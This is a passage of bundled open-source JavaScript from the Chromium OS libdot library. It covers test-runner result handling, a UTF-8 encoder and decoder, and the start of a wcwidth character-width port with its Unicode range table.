} if (!this.currentResult) return; if (message == 'Uncaught ' + this.currentResult.expectedErrorMessage_) {// Test cases may need to raise an unhandled exception as part of the test.
return;
} var when = 'during'; if (this.currentResult.status != this.currentResult.PENDING) when = 'after'; this.log.error('Uncaught exception ' + when + ' test case: ' + this.currentResult.test.fullName); this.log.error(message + ', ' + file + ':' + line); this.currentResult.completeTest_(this.currentResult.FAILED, false); return false;
};/**
* Called to when this test run has completed.
*
* This method typically re-runs itself asynchronously, in order to let the
* DOM stabilize and short-term timeouts to complete before declaring the
* test run complete.
*
* @param {boolean} opt_skipTimeout If true, the timeout is skipped and the
*     test run is completed immediately.  This should only be used from within
*     this function.
*/lib.TestManager.TestRun.prototype.onTestRunComplete_ = function (opt_skipTimeout) {
if (!opt_skipTimeout) {// The final test may have left a lingering setTimeout(..., 0), or maybe
// poked at the DOM in a way that will trigger a event to fire at the end
// of this stack, so we give things a chance to settle down before our
// final cleanup...
setTimeout(this.onTestRunComplete_.bind(this), 0, true); return;
} this.duration = new Date() - this.startDate; this.log.groupEnd(); this.log.info(this.passes.length + ' passed, ' + this.failures.length + ' failed, ' + this.msToSeconds_(this.duration)); this.summarize(); window.onerror = null; this.testManager.onTestRunComplete(this);
};/**
* Called by the lib.TestManager.Result object when a test completes.
*
* @param {lib.TestManager.Result} result The result object which has just
*     completed.
*/lib.TestManager.TestRun.prototype.onResultComplete = function (result) { try { this.testManager.testPostamble(result, this.cx); result.suite.postamble(result, this.ctx); } catch (ex) { this.log.error('Unexpected exception in postamble: ' + (ex.stack ? ex.stack : ex)); this.panic = true; } if (result.status != result.PASSED) this.log.error(result.status); else if (result.duration > 500) this.log.warn('Slow test took ' + this.msToSeconds_(result.duration)); this.log.groupEnd(); if (result.status == result.FAILED) { this.failures.push(result); this.currentSuite = null; } else if (result.status == result.PASSED) { this.passes.push(result); } else { this.log.error('Unknown result status: ' + result.test.fullName + ': ' + result.status); this.panic = true; return; } this.runNextTest_(); };/**
* Called by the lib.TestManager.Result object when a test which has already
* completed reports another completion.
*
* This is usually indicative of a buggy testcase.  It is probably reporting a
* result on exit and then again from an asynchronous callback.
*
* It may also be the case that the last act of the testcase causes a DOM change
* which triggers some event to run after the test returns.  If the event
* handler reports a failure or raises an uncaught exception, the test will
* fail even though it has already completed.
*
* In any case, re-completing a test ALWAYS moves it into the failure pile.
*
* @param {lib.TestManager.Result} result The result object which has just
*     completed.
* @param {string} lateStatus The status that the test attempted to record this
*     time around.
*/lib.TestManager.TestRun.prototype.onResultReComplete = function (result, lateStatus) {
this.log.error('Late complete for test: ' + result.test.fullName + ': ' + lateStatus);// Consider any late completion a failure, even if it's a double-pass, since
// it's a misuse of the testing API.
var index = this.passes.indexOf(result); if (index >= 0) { this.passes.splice(index, 1); this.failures.push(result); }
};/**
* Run the next test in the queue.
*/lib.TestManager.TestRun.prototype.runNextTest_ = function () {
if (this.panic || !this.testQueue_.length) { this.onTestRunComplete_(); return; } if (this.maxFailures && this.failures.length >= this.maxFailures) { this.log.error('Maximum failure count reached, aborting test run.'); this.onTestRunComplete_(); return; }// Peek at the top test first.  We remove it later just before it's about
// to run, so that we don't disturb the incomplete test count in the
// event that we fail before running it.
var test = this.testQueue_[0]; var suite = this.currentResult ? this.currentResult.suite : null; try { if (!suite || !(suite instanceof test.suiteClass)) { if (suite) this.log.groupEnd(); this.log.group(test.suiteClass.suiteName); suite = new test.suiteClass(this.testManager, this.cx); } } catch (ex) {// If test suite setup fails we're not even going to try to run the tests.
this.log.error('Exception during setup: ' + (ex.stack ? ex.stack : ex)); this.panic = true; this.onTestRunComplete_(); return;
} try { this.log.group(test.testName); this.currentResult = new lib.TestManager.Result(this, suite, test); this.testManager.testPreamble(this.currentResult, this.cx); suite.preamble(this.currentResult, this.cx); this.testQueue_.shift(); } catch (ex) { this.log.error('Unexpected exception during test preamble: ' + (ex.stack ? ex.stack : ex)); this.log.groupEnd(); this.panic = true; this.onTestRunComplete_(); return; } try { this.currentResult.run(); } catch (ex) {// Result.run() should catch test exceptions and turn them into failures.
// If we got here, it means there is trouble in the testing framework.
this.log.error('Unexpected exception during test run: ' + (ex.stack ? ex.stack : ex)); this.panic = true;
}
};/**
* Run the selected list of tests.
*
* Some tests may need to run asynchronously, so you cannot assume the run is
* complete when this function returns.  Instead, pass in a function to be
* called back when the run has completed.
*
* This function will log the results of the test run as they happen into the
* log defined by the associated lib.TestManager.  By default this is
* console.log, which can be viewed in the JavaScript console of most browsers.
*
* The browser state is determined by the last test to run.  We intentionally
* don't do any cleanup so that you can inspect the state of a failed test, or
* leave the browser ready for manual testing.
*
* Any failures in lib.TestManager.* code or test suite setup or test case
* preamble will cause the test run to abort.
*/lib.TestManager.TestRun.prototype.run = function () { this.log.info('Running ' + this.testQueue_.length + ' test(s)'); window.onerror = this.onUncaughtException_.bind(this); this.startDate = new Date(); this.runNextTest_(); };/**
* Format milliseconds as fractional seconds.
*/lib.TestManager.TestRun.prototype.msToSeconds_ = function (ms) { var secs = (ms / 1000).toFixed(2); return secs + 's'; };/**
* Log the current result summary.
*/lib.TestManager.TestRun.prototype.summarize = function () { if (this.failures.length) { for (var i = 0; i < this.failures.length; i++) { this.log.error('FAILED: ' + this.failures[i].test.fullName); } } if (this.testQueue_.length) { this.log.warn('Test run incomplete: ' + this.testQueue_.length + ' test(s) were not run.'); } };/**
* Record of the result of a single test.
*
* These are constructed during a test run, you shouldn't have to make one
* on your own.
*
* An instance of this class is passed in to each test function.  It can be
* used to add messages to the test log, to record a test pass/fail state, to
* test assertions, or to create exception-proof wrappers for callback
* functions.
*
* @param {lib.TestManager.TestRun} testRun The TestRun instance associated with
*     this result.
* @param {lib.TestManager.Suit} suite The Suite containing the test we're
*     collecting this result for.
* @param {lib.TestManager.Test} test The test we're collecting this result for.
*/lib.TestManager.Result = function (testRun, suite, test) {/**
* The TestRun instance associated with this result.
*/this.testRun = testRun;/**
* The Suite containing the test we're collecting this result for.
*/this.suite = suite;/**
* The test we're collecting this result for.
*/this.test = test;/**
* The time we started to collect this result, or null if we haven't started.
*/this.startDate = null;/**
* The time in milliseconds that the test took to complete, or null if
* it hasn't completed yet.
*/this.duration = null;/**
* The current status of this test result.
*/this.status = this.PENDING;// An error message that the test case is expected to generate.
this.expectedErrorMessage_ = null;
};/**
* Possible values for this.status.
*/lib.TestManager.Result.prototype.PENDING = 'pending'; lib.TestManager.Result.prototype.FAILED = 'FAILED'; lib.TestManager.Result.prototype.PASSED = 'passed';/**
* Exception thrown when a test completes (pass or fail), to ensure no more of
* the test is run.
*/lib.TestManager.Result.TestComplete = function (result) { this.result = result; }; lib.TestManager.Result.TestComplete.prototype.toString = function () { return 'lib.TestManager.Result.TestComplete: ' + this.result.test.fullName + ', status: ' + this.result.status; };/**
* Start the test associated with this result.
*/lib.TestManager.Result.prototype.run = function () { this.startDate = new Date(); this.test.run(this); if (this.status == this.PENDING && !this.timeout_) { this.println('Test did not return a value and did not request more time.'); this.completeTest_(this.FAILED, false); } };/**
* Unhandled error message this test expects to generate.
*
* This must be the exact string that would appear in the JavaScript console,
* minus the 'Uncaught ' prefix.
*
* The test case does *not* automatically fail if the error message is not
* encountered.
*/lib.TestManager.Result.prototype.expectErrorMessage = function (str) { this.expectedErrorMessage_ = str; };/**
* Function called when a test times out.
*/lib.TestManager.Result.prototype.onTimeout_ = function () { this.timeout_ = null; if (this.status != this.PENDING) return; this.println('Test timed out.'); this.completeTest_(this.FAILED, false); };/**
* Indicate that a test case needs more time to complete.
*
* Before a test case returns it must report a pass/fail result, or request more
* time to do so.
*
* If a test does not report pass/fail before the time expires it will
* be reported as a timeout failure.  Any late pass/fails will be noted in the
* test log, but will not affect the final result of the test.
*
* Test cases may call requestTime more than once.  If you have a few layers
* of asynchronous API to go through, you should call this once per layer with
* an estimate of how long each callback will take to complete.
*
* @param {int} ms Number of milliseconds requested.
*/lib.TestManager.Result.prototype.requestTime = function (ms) { if (this.timeout_) clearTimeout(this.timeout_); this.timeout_ = setTimeout(this.onTimeout_.bind(this), ms); };/**
* Report the completion of a test.
*
* @param {string} status The status of the test case.
* @param {boolean} opt_throw Optional boolean indicating whether or not
*     to throw the TestComplete exception.
*/lib.TestManager.Result.prototype.completeTest_ = function (status, opt_throw) { if (this.status == this.PENDING) { this.duration = new Date() - this.startDate; this.status = status; this.testRun.onResultComplete(this); } else { this.testRun.onResultReComplete(this, status); } if (arguments.length < 2 || opt_throw) throw new lib.TestManager.Result.TestComplete(this); };/**
* Assert that an actual value is exactly equal to the expected value.
*
* This uses the JavaScript '===' operator in order to avoid type coercion.
*
* If the assertion fails, the test is marked as a failure and a TestCompleted
* exception is thrown.
*
* @param {*} actual The actual measured value.
* @param {*} expected The value expected.
* @param {string} opt_name An optional name used to identify this
*     assertion in the test log.  If omitted it will be the file:line
*     of the caller.
*/lib.TestManager.Result.prototype.assertEQ = function (actual, expected, opt_name) {// Utility function to pretty up the log.
function format(value) {
if (typeof value == 'number') return value; var str = String(value); var ary = str.split('\n').map(function (e) { return JSON.stringify(e); }); if (ary.length > 1) {// If the string has newlines, start it off on its own line so that
// it's easier to compare against another string with newlines.
return '\n' + ary.join('\n');
} else { return ary.join('\n'); }
} if (actual === expected) return;// Deal with common object types since JavaScript can't.
if (expected instanceof Array) if (lib.array.compare(actual, expected)) return; var name = opt_name ? '[' + opt_name + ']' : ''; this.fail('assertEQ' + name + ': ' + this.getCallerLocation_(1) + ': ' + format(actual) + ' !== ' + format(expected));
};/**
* Assert that a value is true.
*
* This uses the JavaScript '===' operator in order to avoid type coercion.
* The must be the boolean value `true`, not just some "truish" value.
*
* If the assertion fails, the test is marked as a failure and a TestCompleted
* exception is thrown.
*
* @param {boolean} actual The actual measured value.
* @param {string} opt_name An optional name used to identify this
*     assertion in the test log.  If omitted it will be the file:line
*     of the caller.
*/lib.TestManager.Result.prototype.assert = function (actual, opt_name) { if (actual === true) return; var name = opt_name ? '[' + opt_name + ']' : ''; this.fail('assert' + name + ': ' + this.getCallerLocation_(1) + ': ' + String(actual)); };/**
* Return the filename:line of a calling stack frame.
*
* This uses a dirty hack.  It throws an exception, catches it, and examines
* the stack property of the caught exception.
*
* @param {int} frameIndex The stack frame to return.  0 is the frame that
*     called this method, 1 is its caller, and so on.
* @return {string} A string of the format "filename:linenumber".
*/lib.TestManager.Result.prototype.getCallerLocation_ = function (frameIndex) { try { throw new Error(); } catch (ex) { var frame = ex.stack.split('\n')[frameIndex + 2]; var ary = frame.match(/([^/]+:\d+):\d+\)?$/); return ary ? ary[1] : '???'; } };/**
* Write a message to the result log.
*/lib.TestManager.Result.prototype.println = function (message) { this.testRun.log.info(message); };/**
* Mark a failed test and exit out of the rest of the test.
*
* This will throw a TestCompleted exception, causing the current test to stop.
*
* @param {string} opt_message Optional message to add to the log.
*/lib.TestManager.Result.prototype.fail = function (opt_message) { if (arguments.length) this.println(opt_message); this.completeTest_(this.FAILED, true); };/**
* Mark a passed test and exit out of the rest of the test.
*
* This will throw a TestCompleted exception, causing the current test to stop.
*/lib.TestManager.Result.prototype.pass = function () { this.completeTest_(this.PASSED, true); };// SOURCE FILE: libdot/js/lib_utf8.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';// TODO(davidben): When the string encoding API is implemented,
// replace this with the native in-browser implementation.
//
// https://wiki.whatwg.org/wiki/StringEncoding
// https://encoding.spec.whatwg.org/
/**
* A stateful UTF-8 decoder.
*/lib.UTF8Decoder = function () {// The number of bytes left in the current sequence.
this.bytesLeft = 0;// The in-progress code point being decoded, if bytesLeft > 0.
this.codePoint = 0;// The lower bound on the final code point, if bytesLeft > 0.
this.lowerBound = 0;
};/**
* Decodes a some UTF-8 data, taking into account state from previous
* data streamed through the encoder.
*
* @param {String} str data to decode, represented as a JavaScript
*     String with each code unit representing a byte between 0x00 to
*     0xFF.
* @return {String} The data decoded into a JavaScript UTF-16 string.
*/lib.UTF8Decoder.prototype.decode = function (str) {
var ret = ''; for (var i = 0; i < str.length; i++) {
var c = str.charCodeAt(i); if (this.bytesLeft == 0) { if (c <= 0x7F) { ret += str.charAt(i); } else if (0xC0 <= c && c <= 0xDF) { this.codePoint = c - 0xC0; this.bytesLeft = 1; this.lowerBound = 0x80; } else if (0xE0 <= c && c <= 0xEF) { this.codePoint = c - 0xE0; this.bytesLeft = 2; this.lowerBound = 0x800; } else if (0xF0 <= c && c <= 0xF7) { this.codePoint = c - 0xF0; this.bytesLeft = 3; this.lowerBound = 0x10000; } else if (0xF8 <= c && c <= 0xFB) { this.codePoint = c - 0xF8; this.bytesLeft = 4; this.lowerBound = 0x200000; } else if (0xFC <= c && c <= 0xFD) { this.codePoint = c - 0xFC; this.bytesLeft = 5; this.lowerBound = 0x4000000; } else { ret += '\uFFFD'; } } else {
if (0x80 <= c && c <= 0xBF) {
this.bytesLeft--; this.codePoint = (this.codePoint << 6) + (c - 0x80); if (this.bytesLeft == 0) {// Got a full sequence. Check if it's within bounds and
// filter out surrogate pairs.
var codePoint = this.codePoint; if (codePoint < this.lowerBound || 0xD800 <= codePoint && codePoint <= 0xDFFF || codePoint > 0x10FFFF) { ret += '\uFFFD'; } else {// Encode as UTF-16 in the output.
if (codePoint < 0x10000) { ret += String.fromCharCode(codePoint); } else {// Surrogate pair.
codePoint -= 0x10000; ret += String.fromCharCode(0xD800 + (codePoint >>> 10 & 0x3FF), 0xDC00 + (codePoint & 0x3FF));
}
}
}
} else {// Too few bytes in multi-byte sequence. Rewind stream so we
// don't lose the next byte.
ret += '\uFFFD'; this.bytesLeft = 0; i--;
}
}
} return ret;
};/**
* Decodes UTF-8 data. This is a convenience function for when all the
* data is already known.
*
* @param {String} str data to decode, represented as a JavaScript
*     String with each code unit representing a byte between 0x00 to
*     0xFF.
* @return {String} The data decoded into a JavaScript UTF-16 string.
*/lib.decodeUTF8 = function (utf8) { return new lib.UTF8Decoder().decode(utf8); };/**
* Encodes a UTF-16 string into UTF-8.
*
* TODO(davidben): Do we need a stateful version of this that can
* handle a surrogate pair split in two calls? What happens if a
* keypress event would have contained a character outside the BMP?
*
* @param {String} str The string to encode.
* @return {String} The string encoded as UTF-8, as a JavaScript
*     string with bytes represented as code units from 0x00 to 0xFF.
*/lib.encodeUTF8 = function (str) {
var ret = ''; for (var i = 0; i < str.length; i++) {// Get a unicode code point out of str.
var c = str.charCodeAt(i); if (0xDC00 <= c && c <= 0xDFFF) { c = 0xFFFD; } else if (0xD800 <= c && c <= 0xDBFF) {
if (i + 1 < str.length) {
var d = str.charCodeAt(i + 1); if (0xDC00 <= d && d <= 0xDFFF) {// Swallow a surrogate pair.
c = 0x10000 + ((c & 0x3FF) << 10) + (d & 0x3FF); i++;
} else { c = 0xFFFD; }
} else { c = 0xFFFD; }
}// Encode c in UTF-8.
var bytesLeft; if (c <= 0x7F) { ret += str.charAt(i); continue; } else if (c <= 0x7FF) { ret += String.fromCharCode(0xC0 | c >>> 6); bytesLeft = 1; } else if (c <= 0xFFFF) { ret += String.fromCharCode(0xE0 | c >>> 12); bytesLeft = 2; } else/* if (c <= 0x10FFFF) */ { ret += String.fromCharCode(0xF0 | c >>> 18); bytesLeft = 3; } while (bytesLeft > 0) { bytesLeft--; ret += String.fromCharCode(0x80 | c >>> 6 * bytesLeft & 0x3F); }
} return ret;
};// SOURCE FILE: libdot/third_party/wcwidth/lib_wc.js
// Copyright (c) 2014 The Chromium OS Authors. All rights reserved.
// Use of lib.wc source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* This JavaScript library is ported from the wcwidth.js module of node.js.
* The original implementation can be found at:
* https://npmjs.org/package/wcwidth.js
*//**
* JavaScript porting of Markus Kuhn's wcwidth() implementation
*
* The following explanation comes from the original C implementation:
*
* This is an implementation of wcwidth() and wcswidth() (defined in
* IEEE Std 1002.1-2001) for Unicode.
*
* http://www.opengroup.org/onlinepubs/007904975/functions/wcwidth.html
* http://www.opengroup.org/onlinepubs/007904975/functions/wcswidth.html
*
* In fixed-width output devices, Latin characters all occupy a single
* "cell" position of equal width, whereas ideographic CJK characters
* occupy two such cells. Interoperability between terminal-line
* applications and (teletype-style) character terminals using the
* UTF-8 encoding requires agreement on which character should advance
* the cursor by how many cell positions. No established formal
* standards exist at present on which Unicode character shall occupy
* how many cell positions on character terminals. These routines are
* a first attempt of defining such behavior based on simple rules
* applied to data provided by the Unicode Consortium.
*
* For some graphical characters, the Unicode standard explicitly
* defines a character-cell width via the definition of the East Asian
* FullWidth (F), Wide (W), Half-width (H), and Narrow (Na) classes.
* In all these cases, there is no ambiguity about which width a
* terminal shall use. For characters in the East Asian Ambiguous (A)
* class, the width choice depends purely on a preference of backward
* compatibility with either historic CJK or Western practice.
* Choosing single-width for these characters is easy to justify as
* the appropriate long-term solution, as the CJK practice of
* displaying these characters as double-width comes from historic
* implementation simplicity (8-bit encoded characters were displayed
* single-width and 16-bit ones double-width, even for Greek,
* Cyrillic, etc.) and not any typographic considerations.
*
* Much less clear is the choice of width for the Not East Asian
* (Neutral) class. Existing practice does not dictate a width for any
* of these characters. It would nevertheless make sense
* typographically to allocate two character cells to characters such
* as for instance EM SPACE or VOLUME INTEGRAL, which cannot be
* represented adequately with a single-width glyph. The following
* routines at present merely assign a single-cell width to all
* neutral characters, in the interest of simplicity. This is not
* entirely satisfactory and should be reconsidered before
* establishing a formal standard in lib.wc area. At the moment, the
* decision which Not East Asian (Neutral) characters should be
* represented by double-width glyphs cannot yet be answered by
* applying a simple rule from the Unicode database content. Setting
* up a proper standard for the behavior of UTF-8 character terminals
* will require a careful analysis not only of each Unicode character,
* but also of each presentation form, something the author of these
* routines has avoided to do so far.
*
* http://www.unicode.org/unicode/reports/tr11/
*
* Markus Kuhn -- 2007-05-26 (Unicode 5.0)
*
* Permission to use, copy, modify, and distribute lib.wc software
* for any purpose and without fee is hereby granted. The author
* disclaims all warranties with regard to lib.wc software.
*
* Latest version: http://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c
*//**
* The following function defines the column width of an ISO 10646 character
* as follows:
*
*  - The null character (U+0000) has a column width of 0.
*  - Other C0/C1 control characters and DEL will lead to a return value of -1.
*  - Non-spacing and enclosing combining characters (general category code Mn
*    or Me in the Unicode database) have a column width of 0.
*  - SOFT HYPHEN (U+00AD) has a column width of 1.
*  - Other format characters (general category code Cf in the Unicode database)
*    and ZERO WIDTH SPACE (U+200B) have a column width of 0.
*  - Hangul Jamo medial vowels and final consonants (U+1160-U+11FF) have a
*    column width of 0.
*  - Spacing characters in the East Asian Wide (W) or East Asian Full-width (F)
*    category as defined in Unicode Technical Report #11 have a column width of
*    2.
*  - East Asian Ambiguous characters are taken into account if
*    regardCjkAmbiguous flag is enabled. They have a column width of 2.
*  - All remaining characters (including all printable ISO 8859-1 and WGL4
*    characters, Unicode control characters, etc.) have a column width of 1.
*
* This implementation assumes that characters are encoded in ISO 10646.
*/lib.wc = {};// Width of a nul character.
lib.wc.nulWidth = 0;// Width of a control character.
lib.wc.controlWidth = 0;// Flag whether to consider East Asian Ambiguous characters.
lib.wc.regardCjkAmbiguous = false;// Width of an East Asian Ambiguous character.
lib.wc.cjkAmbiguousWidth = 2;// Sorted list of non-overlapping intervals of non-spacing characters
// generated by the `./ranges.py` helper.
lib.wc.combining = [[0x00ad, 0x00ad], [0x0300, 0x036f], [0x0483, 0x0489], [0x0591, 0x05bd], [0x05bf, 0x05bf], [0x05c1, 0x05c2], [0x05c4, 0x05c5], [0x05c7, 0x05c7], [0x0610, 0x061a], [0x061c, 0x061c], [0x064b, 0x065f], [0x0670, 0x0670], [0x06d6, 0x06dc], [0x06df, 0x06e4], [0x06e7, 0x06e8], [0x06ea, 0x06ed], [0x0711, 0x0711], [0x0730, 0x074a], [0x07a6, 0x07b0], [0x07eb, 0x07f3], [0x07fd, 0x07fd], [0x0816, 0x0819], [0x081b, 0x0823], [0x0825, 0x0827], [0x0829, 0x082d], [0x0859, 0x085b], [0x08d3, 0x08e1], [0x08e3, 0x0902], [0x093a, 0x093a], [0x093c, 0x093c], [0x0941, 0x0948], [0x094d, 0x094d], [0x0951, 0x0957], [0x0962, 0x0963], [0x0981, 0x0981], [0x09bc, 0x09bc], [0x09c1, 0x09c4], [0x09cd, 0x09cd], [0x09e2, 0x09e3], [0x09fe, 0x09fe], [0x0a01, 0x0a02], [0x0a3c, 0x0a3c], [0x0a41, 0x0a42], [0x0a47, 0x0a48], [0x0a4b, 0x0a4d], [0x0a51, 0x0a51], [0x0a70, 0x0a71], [0x0a75, 0x0a75], [0x0a81, 0x0a82], [0x0abc, 0x0abc], [0x0ac1, 0x0ac5], [0x0ac7, 0x0ac8], [0x0acd, 0x0acd], [0x0ae2, 0x0ae3], [0x0afa, 0x0aff], [0x0b01, 0x0b01], [0x0b3c, 0x0b3c], [0x0b3f, 0x0b3f], [0x0b41, 0x0b44], [0x0b4d, 0x0b4d], [0x0b56, 0x0b56], [0x0b62, 0x0b63], [0x0b82, 0x0b82], [0x0bc0, 0x0bc0], [0x0bcd, 0x0bcd], [0x0c00, 0x0c00], [0x0c04, 0x0c04], [0x0c3e, 0x0c40], [0x0c46, 0x0c48], [0x0c4a, 0x0c4d], [0x0c55, 0x0c56], [0x0c62, 0x0c63], [0x0c81, 0x0c81], [0x0cbc, 0x0cbc], [0x0cbf, 0x0cbf], [0x0cc6, 0x0cc6], [0x0ccc, 0x0ccd], [0x0ce2, 0x0ce3], [0x0d00, 0x0d01], [0x0d3b, 0x0d3c], [0x0d41, 0x0d44], [0x0d4d, 0x0d4d], [0x0d62, 0x0d63], [0x0dca, 0x0dca], [0x0dd2, 0x0dd4], [0x0dd6, 0x0dd6], [0x0e31, 0x0e31], [0x0e34, 0x0e3a], [0x0e47, 0x0e4e], [0x0eb1, 0x0eb1], [0x0eb4, 0x0eb9], [0x0ebb, 0x0ebc], [0x0ec8, 0x0ecd], [0x0f18, 0x0f19], [0x0f35, 0x0f35], [0x0f37, 0x0f37], [0x0f39, 0x0f39], [0x0f71, 0x0f7e], [0x0f80, 0x0f84], [0x0f86, 0x0f87], [0x0f8d, 0x0f97], [0x0f99, 0x0fbc], [0x0fc6, 0x0fc6], [0x102d, 0x1030], [0x1032, 0x1037], [0x1039, 0x103a], [0x103d, 0x103e], [0x1058, 0x1059], [0x105e, 0x1060], [0x1071, 0x1074], [0x1082, 0x1082], [0x1085, 0x1086], [0x108d, 0x108d], [0x109d, 0x109d], [0x1160, 0x11ff], [0x135d, 0x135f], [0x1712, 0x1714], [0x1732, 0x1734], [0x1752, 0x1753], [0x1772, 0x1773], [0x17b4, 0x17b5], [0x17b7, 0x17bd], [0x17c6, 0x17c6], [0x17c9, 0x17d3], [0x17dd, 0x17dd], [0x180b, 0x180e], [0x1885, 0x1886], [0x18a9, 0x18a9], [0x1920, 0x1922], [0x1927, 0x1928], [0x1932, 0x1932], [0x1939, 0x193b], [0x1a17, 0x1a18], [0x1a1b, 0x1a1b], [0x1a56, 0x1a56], [0x1a58, 0x1a5e], [0x1a60, 0x1a60], [0x1a62, 0x1a62], [0x1a65, 0x1a6c], [0x1a73, 0x1a7c], [0x1a7f, 0x1a7f], [0x1ab0, 0x1abe], [0x1b00, 0x1b03], [0x1b34, 0x1b34], [0x1b36, 0x1b3a], [0x1b3c, 0x1b3c], [0x1b42, 0x1b42], [0x1b6b, 0x1b73], [0x1b80, 0x1b81], [0x1ba2, 0x1ba5], [0x1ba8, 0x1ba9], [0x1bab, 0x1bad], [0x1be6, 0x1be6], [0x1be8, 0x1be9], [0x1bed, 0x1bed], [0x1bef, 0x1bf1], [0x1c2c, 0x1c33], [0x1c36, 0x1c37], [0x1cd0, 0x1cd2], [0x1cd4, 0x1ce0], [0x1ce2, 0x1ce8], [0x1ced, 0x1ced], [0x1cf4, 0x1cf4], [0x1cf8, 0x1cf9], [0x1dc0, 0x1df9], [0x1dfb, 0x1dff], [0x200b, 0x200f], [0x202a, 0x202e], [0x2060, 0x2064], [0x2066, 0x206f], [0x20d0, 0x20f0], [0x2cef, 0x2cf1], [0x2d7f, 0x2d7f], [0x2de0, 0x2dff], [0x302a, 0x302d], [0x3099, 0x309a], [0xa66f, 0xa672], [0xa674, 0xa67d], [0xa69e, 0xa69f], [0xa6f0, 0xa6f1], [0xa802, 0xa802], [0xa806, 0xa806], [0xa80b, 0xa80b], [0xa825, 0xa826], [0xa8c4, 0xa8c5], [0xa8e0, 0xa8f1], [0xa8ff, 0xa8ff], [0xa926, 0xa92d], [0xa947, 0xa951], [0xa980, 0xa982], [0xa9b3, 0xa9b3], [0xa9b6, 0xa9b9], [0xa9bc, 0xa9bc], [0xa9e5, 0xa9e5], [0xaa29, 0xaa2e], [0xaa31, 0xaa32], [0xaa35, 0xaa36], [0xaa43, 0xaa43], [0xaa4c, 0xaa4c], [0xaa7c, 0xaa7c], [0xaab0, 0xaab0], [0xaab2, 0xaab4], [0xaab7, 0xaab8], [0xaabe, 0xaabf], [0xaac1, 0xaac1], [0xaaec, 0xaaed], [0xaaf6, 0xaaf6], [0xabe5, 0xabe5], [0xabe8, 0xabe8], [0xabed, 0xabed], [0xfb1e, 0xfb1e], [0xfe00, 0xfe0f], [0xfe20, 0xfe2f], [0xfeff, 0xfeff], [0xfff9, 0xfffb], [0x101fd, 0x101fd], [0x102e0, 0x102e0], [0x10376, 0x1037a], [0x10a01, 0x10a03], [0x10a05, 0x10a06], [0x10a0c, 0x10a0f], [0x10a38, 0x10a3a], [0x10a3f, 0x10a3f], [0x10ae5, 0x10ae6], [0x10d24, 0x10d27], [0x10f46, 0x10f50], [0x11001, 0x11001], [0x11038, 0x11046], [0x1107f, 0x11081], [0x110b3, 0x110b6], [0x110b9, 0x110ba], [0x11100, 0x11102], [0x11127, 0x1112b], [0x1112d, 0x11134], [0x11173, 0x11173], [0x11180, 0x11181], [0x111b6, 0x111be], [0x111c9, 0x111cc], [0x1122f, 0x11231], [0x11234, 0x11234], [0x11236, 0x11237], [0x1123e, 0x1123e], [0x112df, 0x112df], [0x112e3, 0x112ea], [0x11300, 0x11301], [0x1133b, 0x1133c], [0x11340, 0x11340], [0x11366, 0x1136c], [0x11370, 0x11374], [0x11438, 0x1143f], [0x11442, 0x11444], [0x11446, 0x11446], [0x1145e, 0x1145e], [0x114b3, 0x114b8], [0x114ba, 0x114ba], [0x114bf, 0x114c0], [0x114c2, 0x114c3], [0x115b2, 0x115b5], [0x115bc, 0x115bd], [0x115bf, 0x115c0], [0x115dc, 0x115dd], [0x11633, 0x1163a], [0x1163d, 0x1163d], [0x1163f, 0x11640], [0x116ab, 0x116ab], [0x116ad, 0x116ad], [0x116b0, 0x116b5], [0x116b7, 0x116b7], [0x1171d, 0x1171f], [0x11722, 0x11725], [0x11727, 0x1172b], [0x1182f, 0x11837], [0x11839, 0x1183a], [0x11a01, 0x11a0a], [0x11a33, 0x11a38], [0x11a3b, 0x11a3e], [0x11a47, 0x11a47], [0x11a51, 0x11a56], [0x11a59, 0x11a5b], [0x11a8a, 0x11a96], [0x11a98, 0x11a99], [0x11c30, 0x11c36], [0x11c38, 0x11c3d], [0x11c3f, 0x11c3f], [0x11c92, 0x11ca7], [0x11caa, 0x11cb0], [0x11cb2, 0x11cb3], [0x11cb5, 0x11cb6], [0x11d31, 0x11d36], [0x11d3a, 0x11d3a], [0x11d3c, 0x11d3d], [0x11d3f, 0x11d45], [0x11d47, 0x11d47], [0x11d90, 0x11d91], [0x11d95, 0x11d95], [0x11d97, 0x11d97], [0x11ef3, 0x11ef4], [0x16af0, 0x16af4], [0x16b30, 0x16b36], [0x16f8f, 0x16f92], [0x1bc9d, 0x1bc9e], [0x1bca0, 0x1bca3], [0x1d167, 0x1d169], [0x1d173, 0x1d182], [0x1d185, 0x1d18b], [0x1d1aa, 0x1d1ad], [0x1d242, 0x1d244], [0x1da00, 0x1da36], [0x1da3b, 0x1da6c], [0x1da75, 0x1da75], [0x1da84, 0x1da84], [0x1da9b, 0x1da9f], [0x1daa1, 0x1daaf], [0x1e000, 0x1e006], [0x1e008, 0x1e018], [0x1e01b, 0x1e021], [0x1e023, 0x1e024], [0x1e026, 0x1e02a], [0x1e8d0, 0x1e8d6], [0x1e944, 0x1e94a], [0xe0001, 0xe0001], [0xe0020, 0xe007f], [0xe0100, 0xe01ef]];// Sorted list of non-overlapping intervals of East Asian Ambiguous characters
// generated by the `./ranges.py` helper.
